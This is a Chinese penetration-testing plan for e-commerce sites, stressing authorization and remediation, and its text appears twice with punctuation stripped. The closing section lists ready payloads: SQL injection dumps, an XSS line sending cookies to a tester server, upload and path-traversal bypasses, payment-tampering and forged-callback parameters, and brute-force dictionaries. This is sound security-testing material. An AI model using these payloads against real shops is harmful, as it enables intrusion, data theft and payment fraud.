电商网站渗透测试完整方案及操作步骤合规白帽版一、测试总则合规前提1.1 测试目的模拟真实黑客攻击手段全面检测电商网站Web端、接口、支付模块、用户权限、订单库存体系存在的安全漏洞提前修复高危风险防止数据泄露、资金篡改、越权操作、恶意刷单等安全事件保障用户数据安全与平台资金交易安全符合网络安全合规要求。1.2 测试合规要求核心红线授权测试必须获取网站所有者书面授权禁止对未授权生产环境进行渗透测试严禁非法入侵、数据窃取、恶意破坏。测试范围限定严格按照授权域名、IP、业务模块测试禁止横向扩散至第三方服务器、关联平台。无害原则禁止执行DDOS、数据批量删除、服务器瘫痪等破坏性操作漏洞验证以可控复现为标准。数据保密测试过程获取的用户信息、订单数据、支付密钥等敏感数据全程保密且测试后立即清理。1.3 测试范围电商前台注册、登录、商品浏览、搜索、下单、支付、优惠券、售后、后台管理系统、API接口、支付对接模块、用户权限体系、订单库存逻辑、留言评论交互模块。1.4 测试标准遵循OWASP Top10 Web安全漏洞规范、网络安全等级保护2.0标准聚焦电商特有业务逻辑漏洞通用Web漏洞双重检测。二、测试前期准备2.1 环境准备测试环境优先使用测试服务器、仿真环境如需测试生产环境需申请临时测试权限、规避业务高峰期做好数据备份。代理环境配置Burp Suite代理抓取全站HTTP/HTTPS流量开启拦截、重放、扫描功能。浏览器环境清理缓存、Cookie使用无痕模式避免本地缓存干扰测试结果。2.2 工具清单流量抓包Burp Suite核心工具抓包、改包、重放、漏洞扫描漏洞扫描AWVS、Xray自动化批量扫描通用漏洞注入检测SqlmapSQL注入自动化检测与验证信息收集Nmap、Dirsearch、Subfinder端口、目录、子域名探测辅助工具JWT.io令牌解析伪造、DNS解析工具、Payload字典2.3 账号准备注册普通用户账号、VIP账号、测试商户账号申请后台低权限测试账号覆盖全角色权限测试场景。三、完整测试流程及详细操作步骤整体流程信息收集 → 目录端口探测 → 通用Web漏洞测试 → 电商专属业务逻辑测试 → 权限越权测试 → 接口安全测试 → 漏洞验证复现 → 风险评级 → 修复建议 报告输出3.1 第一步全方位信息收集基础环节渗透测试70%工作量在于信息收集精准收集可定位核心攻击面。基础信息收集查询网站域名、备案信息、服务器IP、操作系统、Web容器Nginx/Apache、开发框架SpringBoot/ThinkPHP/Vue、CDN部署情况。子域名探测使用Subfinder扫描挖掘后台域名、API域名、支付子域名、测试站点等隐藏资产。端口与服务探测Nmap扫描开放端口排查多余开放端口、高危服务弱口令远程登录、未授权服务。目录扫描Dirsearch扫描敏感目录如后台登录入口、备份文件、配置文件、日志目录、上传接口。源码与泄露信息收集排查GitHub、Gitee是否存在源码泄露、配置文件泄露数据库账号、密钥、支付秘钥抓取前端JS代码挖掘隐藏接口、加密规则、后台地址。3.2 第二步通用Web漏洞测试全站基础漏洞结合自动化扫描人工复测规避误报、漏报覆盖OWASP核心漏洞。3.2.1 SQL注入漏洞高危电商高频漏洞点商品搜索、订单查询、分类筛选、登录接口、参数传值页面。操作步骤1、Burp抓取页面请求对URL参数、POST参数添加注入Payload单引号、and 11、and 122、页面报错/数据差异则判定存在注入3、使用Sqlmap自动化验证获取数据库名、表名、账号密码4、验证是否可脱库、越权查询数据。3.2.2 XSS跨站脚本漏洞中高危高频漏洞点商品评论、咨询留言、用户昵称、收货地址、订单备注、搜索回显。操作步骤1、插入XSS测试Payloadscriptalert(1)/script2、分别测试反射型即时回显、存储型永久留存、DOM型XSS3、验证是否可窃取用户Cookie、劫持账号、钓鱼攻击。3.2.3 CSRF跨站请求伪造中危漏洞场景修改密码、绑定手机号、提交订单、更改收货地址、后台操作。操作步骤1、抓取敏感操作请求查看是否存在CSRF Token、Referer校验2、无校验则构造恶意链接测试是否可诱导用户被动执行操作。3.2.4 文件上传漏洞高危漏洞场景用户头像上传、商品图片上传、售后凭证上传、后台素材上传。操作步骤1、尝试上传PHP、JSP、ASP脚本文件2、绕过前端后缀校验、文件类型校验、MIME校验3、验证是否可上传Webshell获取服务器权限。3.2.5 弱口令与暴力破解漏洞场景前台登录、后台管理登录、商户登录、接口密钥。操作步骤1、检测默认账号密码admin/admin、root/root2、使用字典爆破登录接口验证是否无验证码、无次数限制、无IP封禁。3.2.6 任意文件读取/下载漏洞漏洞场景订单文件下载、发票下载、图片预览、日志查看接口。操作步骤修改文件路径参数尝试读取/etc/passwd、数据库配置文件、源码文件等敏感文件。3.3 第三步电商专属业务逻辑漏洞测试核心重点此类漏洞工具无法扫描必须人工抓包测试是电商渗透最高危、最核心的测试项直接关联资金安全。3.3.1 支付逻辑漏洞最高危金额篡改漏洞下单后抓包修改price单价、total_price总价、money、amount等参数测试是否可0元下单、低价购买高价商品。重复支付/订单复用漏洞支付完成后重放支付请求测试是否重复扣款、生成多笔订单、免费刷新支付状态。支付状态篡改拦截支付回调请求修改pay_status、is_pay等参数测试是否可未付款秒变已付款虚假支付下单。优惠券/积分漏洞抓包修改优惠券面额、积分抵扣数值测试是否可无限叠加优惠券、负数抵扣、重复使用一次性优惠券。3.3.2 订单与库存逻辑漏洞订单ID枚举越权遍历order_id参数测试是否可查看、修改、取消他人订单、获取他人收货信息、手机号。库存负数漏洞恶意批量下单、重复提交订单测试是否可突破库存限制造成库存负数、平台亏损。恶意刷单漏洞重复提交订单、批量生成虚假订单测试是否无风控拦截。3.3.3 用户注册登录漏洞短信验证码漏洞抓包修改验证码参数、重放验证码请求、测试是否可无验证码登录、无限获取验证码、验证码复用。注册漏洞批量注册账号、绕过手机号绑定、恶意注册违规账号。JWT令牌漏洞解析Token修改用户角色、UID参数测试是否可伪造管理员Token、越权登录后台、篡改用户身份。3.4 第四步权限越权测试高频高危分为水平越权、垂直越权电商平台极易出现权限校验缺失问题。3.4.1 水平越权操作步骤登录A用户账号抓取个人订单、个人中心、收货地址请求替换UID、订单ID、用户ID为B用户参数测试是否可查看、操作他人数据。3.4.2 垂直越权操作步骤普通用户账号尝试访问后台管理地址、后台接口、商户操作接口测试是否未做权限拦截可直接操作管理员功能。3.5 第五步API接口安全测试接口未授权访问直接访问API接口地址测试是否无需登录即可获取商品、订单、用户数据。接口参数过滤不严对接口参数注入特殊字符、恶意代码测试是否存在注入、越权。接口限流缺失重放、批量请求接口测试是否可暴力刷取数据、接口CC攻击。敏感数据泄露抓取接口返回数据排查是否明文返回手机号、身份证、收货地址、支付记录。3.6 第六步漏洞验证与复现所有扫描发现的漏洞必须人工复现确认剔除工具误报记录漏洞触发路径、请求包、响应包、复现截图验证漏洞危害范围确认是否可批量利用、数据批量泄露禁止深度利用批量脱库、篡改生产数据仅做可行性验证。四、漏洞风险评级标准结合电商业务特性将漏洞分为四级用于优先级修复高危漏洞支付篡改、SQL注入、文件上传webshell、后台越权、用户数据批量泄露、任意订单操作立即修复24小时内整改中危漏洞XSS存储型、CSRF、短信验证码漏洞、接口未授权、目录遍历3天内修复低危漏洞信息泄露、弱提示、普通反射XSS、非敏感目录暴露7天内修复温馨漏洞页面代码冗余、无风险配置瑕疵迭代优化修复五、漏洞修复通用方案5.1 通用Web漏洞修复SQL注入开启参数预编译、过滤特殊字符、关闭数据库报错回显、最小权限配置数据库账号。XSS漏洞前端后端双重过滤、HTML转义、开启CSP策略、Cookie开启HttpOnly。文件上传校验文件后缀、MIME类型、文件头存储文件至非Web目录重命名文件。暴力破解登录接口增加验证码、登录次数限制、IP封禁机制。5.2 电商业务漏洞修复核心支付漏洞服务端二次校验金额、订单状态、库存禁止前端参数可控支付结果以官方回调为准。越权漏洞所有接口、页面增加服务端权限校验校验当前登录用户与操作对象是否一致。订单库存库存、订单数据服务端锁定防止并发篡改、负数库存增加订单唯一性校验。验证码漏洞验证码一次性失效、时效限制、防重放短信接口增加限流风控。六、测试报告输出规范测试完成后输出标准化渗透测试报告包含以下模块测试概述测试范围、时间、合规授权、测试标准资产梳理网站架构、域名、端口、业务模块梳理漏洞汇总漏洞数量、风险等级分布、整体安全评分详细漏洞清单每个漏洞包含漏洞描述、触发路径、复现步骤、截图、危害分析、修复建议整体安全风险总结、后续安全加固建议、常态化测试方案。七、测试收尾与复盘清理测试过程产生的测试账号、测试订单、恶意数据删除本地抓取的敏感流量、数据日志对接开发运维人员讲解漏洞原理与修复方案修复完成后进行复测确认漏洞彻底修复无残留。八、重要合规声明本方案仅用于合法授权的企业安全自测任何未经授权对第三方电商网站的渗透测试、漏洞探测、数据抓取、攻击操作均属于违法行为违反《网络安全法》《刑法》相关规定需承担法律责任。测试人员必须严格遵守合规要求仅用于企业安全加固防护。九、配套可直接复用测试Payload清单本清单适配前文所有电商渗透测试场景分类整理通用漏洞、电商业务专属漏洞测试载荷可直接在Burp Suite、浏览器、Sqlmap中套用无需二次修改适配全站测试流程。9.1 SQL注入专用Payload适配搜索、订单、参数传值场景适用于商品搜索、分类筛选、订单查询、登录接口、URL/POST参数注入测试基础判断高阶脱库测试全覆盖基础判断Payload 、 、 or 11-- 、 or 12-- 、 or 11# 、 or 12#数据遍历Payload union select 1,2,3,version(),user()-- 、 union select 1,database(),2,3--表名查询Payload union select 1,table_name,2 from information_schema.tables where table_schemadatabase()--字段查询Payload union select 1,column_name,2 from information_schema.columns where table_nameuser--绕过过滤Payload oR 11-- - 、||11-- 、 and (select count(*) from user)0--9.2 XSS跨站脚本Payload适配评论、昵称、地址、搜索回显覆盖反射型、存储型、DOM型XSS适配电商所有用户输入回显场景基础弹窗测试scriptalert(1)/script 、img srcx onerroralert(1)绕过标签过滤scriptalert(1)/script 、svg onloadalert(1)Cookie窃取测试scriptdocument.locationhttp://测试服务器IP/?cdocument.cookie/scriptDOM型XSS专用javascript:alert(document.domain) 、#img srcx onerroralert(1)小写绕过过滤SCRIPTalert(1)/SCRIPT9.3 文件上传绕过Payload适配头像、凭证、后台素材上传针对前端校验、MIME类型、文件后缀白名单绕过适配电商所有上传接口后缀绕过test.php%0d%0a.jpg 、test.php;.jpg 、test.phP大小写绕过MIME类型绕过修改Content-Type为image/jpeg、image/png上传php脚本文件文件头绕过在脚本文件头部添加GIF89a绕过文件头校验弱类型后缀测试test.jsp、test.asp、test.aspx、test.phtml9.4 任意文件读取/目录遍历Payload适配下载、预览、日志接口Windows系统遍历../windows/system32/drivers/etc/hosts 、../../web.config 、../../../数据库配置文件Linux系统遍历../../etc/passwd 、../../etc/shadow 、../../../wwwroot/config.php日志文件读取../../logs/access.log 、../../logs/error.log编码绕过%2e%2e/%2e%2e/etc/passwd 、..%2f..%2fweb.config9.5 电商业务逻辑专属Payload/测试参数专为电商资金、订单、权限、优惠券场景定制人工抓包直接修改复用9.5.1 支付金额篡改测试参数核心参数修改price0.01、total_money0、amount1、discount-999负数抵扣测试integral-1000、coupon_price-509.5.2 订单越权/枚举测试参数订单遍历order_id10001、order_id10002批量递增枚举用户越权uid1、user_id0、member_id999替换他人用户ID9.5.3 支付状态篡改参数状态修改pay_status1、is_paytrue、pay_resultsuccess、order_status2回调伪造out_trade_no自定义订单号、trade_statusTRADE_SUCCESS9.5.4 验证码/登录绕过测试验证码复用重复提交同一验证码、抓取验证码接口重放请求空值绕过code空、verify1、captcha0JWT篡改修改token内uid、role、is_admin字段伪造管理员身份9.6 暴力破解常用字典精简高频版适配电商前台、后台、商户登录接口弱口令爆破管理员账号admin、root、administrator、manager、shop、merchant高频密码123456、admin123、root123、888888、666666、shop123456电商专属密码商户ID后6位、网站域名、company123 电商网站渗透测试完整方案及操作步骤（合规白帽版）
电商网站渗透测试完整方案及操作步骤合规白帽版一、测试总则合规前提1.1 测试目的模拟真实黑客攻击手段全面检测电商网站Web端、接口、支付模块、用户权限、订单库存体系存在的安全漏洞提前修复高危风险防止数据泄露、资金篡改、越权操作、恶意刷单等安全事件保障用户数据安全与平台资金交易安全符合网络安全合规要求。1.2 测试合规要求核心红线授权测试必须获取网站所有者书面授权禁止对未授权生产环境进行渗透测试严禁非法入侵、数据窃取、恶意破坏。测试范围限定严格按照授权域名、IP、业务模块测试禁止横向扩散至第三方服务器、关联平台。无害原则禁止执行DDOS、数据批量删除、服务器瘫痪等破坏性操作漏洞验证以可控复现为标准。数据保密测试过程获取的用户信息、订单数据、支付密钥等敏感数据全程保密且测试后立即清理。1.3 测试范围电商前台注册、登录、商品浏览、搜索、下单、支付、优惠券、售后、后台管理系统、API接口、支付对接模块、用户权限体系、订单库存逻辑、留言评论交互模块。1.4 测试标准遵循OWASP Top10 Web安全漏洞规范、网络安全等级保护2.0标准聚焦电商特有业务逻辑漏洞通用Web漏洞双重检测。二、测试前期准备2.1 环境准备测试环境优先使用测试服务器、仿真环境如需测试生产环境需申请临时测试权限、规避业务高峰期做好数据备份。代理环境配置Burp Suite代理抓取全站HTTP/HTTPS流量开启拦截、重放、扫描功能。浏览器环境清理缓存、Cookie使用无痕模式避免本地缓存干扰测试结果。2.2 工具清单流量抓包Burp Suite核心工具抓包、改包、重放、漏洞扫描漏洞扫描AWVS、Xray自动化批量扫描通用漏洞注入检测SqlmapSQL注入自动化检测与验证信息收集Nmap、Dirsearch、Subfinder端口、目录、子域名探测辅助工具JWT.io令牌解析伪造、DNS解析工具、Payload字典2.3 账号准备注册普通用户账号、VIP账号、测试商户账号申请后台低权限测试账号覆盖全角色权限测试场景。三、完整测试流程及详细操作步骤整体流程信息收集 → 目录端口探测 → 通用Web漏洞测试 → 电商专属业务逻辑测试 → 权限越权测试 → 接口安全测试 → 漏洞验证复现 → 风险评级 → 修复建议 报告输出3.1 第一步全方位信息收集基础环节渗透测试70%工作量在于信息收集精准收集可定位核心攻击面。基础信息收集查询网站域名、备案信息、服务器IP、操作系统、Web容器Nginx/Apache、开发框架SpringBoot/ThinkPHP/Vue、CDN部署情况。子域名探测使用Subfinder扫描挖掘后台域名、API域名、支付子域名、测试站点等隐藏资产。端口与服务探测Nmap扫描开放端口排查多余开放端口、高危服务弱口令远程登录、未授权服务。目录扫描Dirsearch扫描敏感目录如后台登录入口、备份文件、配置文件、日志目录、上传接口。源码与泄露信息收集排查GitHub、Gitee是否存在源码泄露、配置文件泄露数据库账号、密钥、支付秘钥抓取前端JS代码挖掘隐藏接口、加密规则、后台地址。3.2 第二步通用Web漏洞测试全站基础漏洞结合自动化扫描人工复测规避误报、漏报覆盖OWASP核心漏洞。3.2.1 SQL注入漏洞高危电商高频漏洞点商品搜索、订单查询、分类筛选、登录接口、参数传值页面。操作步骤1、Burp抓取页面请求对URL参数、POST参数添加注入Payload单引号、and 11、and 122、页面报错/数据差异则判定存在注入3、使用Sqlmap自动化验证获取数据库名、表名、账号密码4、验证是否可脱库、越权查询数据。3.2.2 XSS跨站脚本漏洞中高危高频漏洞点商品评论、咨询留言、用户昵称、收货地址、订单备注、搜索回显。操作步骤1、插入XSS测试Payloadscriptalert(1)/script2、分别测试反射型即时回显、存储型永久留存、DOM型XSS3、验证是否可窃取用户Cookie、劫持账号、钓鱼攻击。3.2.3 CSRF跨站请求伪造中危漏洞场景修改密码、绑定手机号、提交订单、更改收货地址、后台操作。操作步骤1、抓取敏感操作请求查看是否存在CSRF Token、Referer校验2、无校验则构造恶意链接测试是否可诱导用户被动执行操作。3.2.4 文件上传漏洞高危漏洞场景用户头像上传、商品图片上传、售后凭证上传、后台素材上传。操作步骤1、尝试上传PHP、JSP、ASP脚本文件2、绕过前端后缀校验、文件类型校验、MIME校验3、验证是否可上传Webshell获取服务器权限。3.2.5 弱口令与暴力破解漏洞场景前台登录、后台管理登录、商户登录、接口密钥。操作步骤1、检测默认账号密码admin/admin、root/root2、使用字典爆破登录接口验证是否无验证码、无次数限制、无IP封禁。3.2.6 任意文件读取/下载漏洞漏洞场景订单文件下载、发票下载、图片预览、日志查看接口。操作步骤修改文件路径参数尝试读取/etc/passwd、数据库配置文件、源码文件等敏感文件。3.3 第三步电商专属业务逻辑漏洞测试核心重点此类漏洞工具无法扫描必须人工抓包测试是电商渗透最高危、最核心的测试项直接关联资金安全。3.3.1 支付逻辑漏洞最高危金额篡改漏洞下单后抓包修改price单价、total_price总价、money、amount等参数测试是否可0元下单、低价购买高价商品。重复支付/订单复用漏洞支付完成后重放支付请求测试是否重复扣款、生成多笔订单、免费刷新支付状态。支付状态篡改拦截支付回调请求修改pay_status、is_pay等参数测试是否可未付款秒变已付款虚假支付下单。优惠券/积分漏洞抓包修改优惠券面额、积分抵扣数值测试是否可无限叠加优惠券、负数抵扣、重复使用一次性优惠券。3.3.2 订单与库存逻辑漏洞订单ID枚举越权遍历order_id参数测试是否可查看、修改、取消他人订单、获取他人收货信息、手机号。库存负数漏洞恶意批量下单、重复提交订单测试是否可突破库存限制造成库存负数、平台亏损。恶意刷单漏洞重复提交订单、批量生成虚假订单测试是否无风控拦截。3.3.3 用户注册登录漏洞短信验证码漏洞抓包修改验证码参数、重放验证码请求、测试是否可无验证码登录、无限获取验证码、验证码复用。注册漏洞批量注册账号、绕过手机号绑定、恶意注册违规账号。JWT令牌漏洞解析Token修改用户角色、UID参数测试是否可伪造管理员Token、越权登录后台、篡改用户身份。3.4 第四步权限越权测试高频高危分为水平越权、垂直越权电商平台极易出现权限校验缺失问题。3.4.1 水平越权操作步骤登录A用户账号抓取个人订单、个人中心、收货地址请求替换UID、订单ID、用户ID为B用户参数测试是否可查看、操作他人数据。3.4.2 垂直越权操作步骤普通用户账号尝试访问后台管理地址、后台接口、商户操作接口测试是否未做权限拦截可直接操作管理员功能。3.5 第五步API接口安全测试接口未授权访问直接访问API接口地址测试是否无需登录即可获取商品、订单、用户数据。接口参数过滤不严对接口参数注入特殊字符、恶意代码测试是否存在注入、越权。接口限流缺失重放、批量请求接口测试是否可暴力刷取数据、接口CC攻击。敏感数据泄露抓取接口返回数据排查是否明文返回手机号、身份证、收货地址、支付记录。3.6 第六步漏洞验证与复现所有扫描发现的漏洞必须人工复现确认剔除工具误报记录漏洞触发路径、请求包、响应包、复现截图验证漏洞危害范围确认是否可批量利用、数据批量泄露禁止深度利用批量脱库、篡改生产数据仅做可行性验证。四、漏洞风险评级标准结合电商业务特性将漏洞分为四级用于优先级修复高危漏洞支付篡改、SQL注入、文件上传webshell、后台越权、用户数据批量泄露、任意订单操作立即修复24小时内整改中危漏洞XSS存储型、CSRF、短信验证码漏洞、接口未授权、目录遍历3天内修复低危漏洞信息泄露、弱提示、普通反射XSS、非敏感目录暴露7天内修复温馨漏洞页面代码冗余、无风险配置瑕疵迭代优化修复五、漏洞修复通用方案5.1 通用Web漏洞修复SQL注入开启参数预编译、过滤特殊字符、关闭数据库报错回显、最小权限配置数据库账号。XSS漏洞前端后端双重过滤、HTML转义、开启CSP策略、Cookie开启HttpOnly。文件上传校验文件后缀、MIME类型、文件头存储文件至非Web目录重命名文件。暴力破解登录接口增加验证码、登录次数限制、IP封禁机制。5.2 电商业务漏洞修复核心支付漏洞服务端二次校验金额、订单状态、库存禁止前端参数可控支付结果以官方回调为准。越权漏洞所有接口、页面增加服务端权限校验校验当前登录用户与操作对象是否一致。订单库存库存、订单数据服务端锁定防止并发篡改、负数库存增加订单唯一性校验。验证码漏洞验证码一次性失效、时效限制、防重放短信接口增加限流风控。六、测试报告输出规范测试完成后输出标准化渗透测试报告包含以下模块测试概述测试范围、时间、合规授权、测试标准资产梳理网站架构、域名、端口、业务模块梳理漏洞汇总漏洞数量、风险等级分布、整体安全评分详细漏洞清单每个漏洞包含漏洞描述、触发路径、复现步骤、截图、危害分析、修复建议整体安全风险总结、后续安全加固建议、常态化测试方案。七、测试收尾与复盘清理测试过程产生的测试账号、测试订单、恶意数据删除本地抓取的敏感流量、数据日志对接开发运维人员讲解漏洞原理与修复方案修复完成后进行复测确认漏洞彻底修复无残留。八、重要合规声明本方案仅用于合法授权的企业安全自测任何未经授权对第三方电商网站的渗透测试、漏洞探测、数据抓取、攻击操作均属于违法行为违反《网络安全法》《刑法》相关规定需承担法律责任。测试人员必须严格遵守合规要求仅用于企业安全加固防护。九、配套可直接复用测试Payload清单本清单适配前文所有电商渗透测试场景分类整理通用漏洞、电商业务专属漏洞测试载荷可直接在Burp Suite、浏览器、Sqlmap中套用无需二次修改适配全站测试流程。9.1 SQL注入专用Payload适配搜索、订单、参数传值场景适用于商品搜索、分类筛选、订单查询、登录接口、URL/POST参数注入测试基础判断高阶脱库测试全覆盖基础判断Payload 、 、 or 11-- 、 or 12-- 、 or 11# 、 or 12#数据遍历Payload union select 1,2,3,version(),user()-- 、 union select 1,database(),2,3--表名查询Payload union select 1,table_name,2 from information_schema.tables where table_schemadatabase()--字段查询Payload union select 1,column_name,2 from information_schema.columns where table_nameuser--绕过过滤Payload oR 11-- - 、||11-- 、 and (select count(*) from user)0--9.2 XSS跨站脚本Payload适配评论、昵称、地址、搜索回显覆盖反射型、存储型、DOM型XSS适配电商所有用户输入回显场景基础弹窗测试scriptalert(1)/script 、img srcx onerroralert(1)绕过标签过滤scriptalert(1)/script 、svg onloadalert(1)Cookie窃取测试scriptdocument.locationhttp://测试服务器IP/?cdocument.cookie/scriptDOM型XSS专用javascript:alert(document.domain) 、#img srcx onerroralert(1)小写绕过过滤SCRIPTalert(1)/SCRIPT9.3 文件上传绕过Payload适配头像、凭证、后台素材上传针对前端校验、MIME类型、文件后缀白名单绕过适配电商所有上传接口后缀绕过test.php%0d%0a.jpg 、test.php;.jpg 、test.phP大小写绕过MIME类型绕过修改Content-Type为image/jpeg、image/png上传php脚本文件文件头绕过在脚本文件头部添加GIF89a绕过文件头校验弱类型后缀测试test.jsp、test.asp、test.aspx、test.phtml9.4 任意文件读取/目录遍历Payload适配下载、预览、日志接口Windows系统遍历../windows/system32/drivers/etc/hosts 、../../web.config 、../../../数据库配置文件Linux系统遍历../../etc/passwd 、../../etc/shadow 、../../../wwwroot/config.php日志文件读取../../logs/access.log 、../../logs/error.log编码绕过%2e%2e/%2e%2e/etc/passwd 、..%2f..%2fweb.config9.5 电商业务逻辑专属Payload/测试参数专为电商资金、订单、权限、优惠券场景定制人工抓包直接修改复用9.5.1 支付金额篡改测试参数核心参数修改price0.01、total_money0、amount1、discount-999负数抵扣测试integral-1000、coupon_price-509.5.2 订单越权/枚举测试参数订单遍历order_id10001、order_id10002批量递增枚举用户越权uid1、user_id0、member_id999替换他人用户ID9.5.3 支付状态篡改参数状态修改pay_status1、is_paytrue、pay_resultsuccess、order_status2回调伪造out_trade_no自定义订单号、trade_statusTRADE_SUCCESS9.5.4 验证码/登录绕过测试验证码复用重复提交同一验证码、抓取验证码接口重放请求空值绕过code空、verify1、captcha0JWT篡改修改token内uid、role、is_admin字段伪造管理员身份9.6 暴力破解常用字典精简高频版适配电商前台、后台、商户登录接口弱口令爆破管理员账号admin、root、administrator、manager、shop、merchant高频密码123456、admin123、root123、888888、666666、shop123456电商专属密码商户ID后6位、网站域名、company123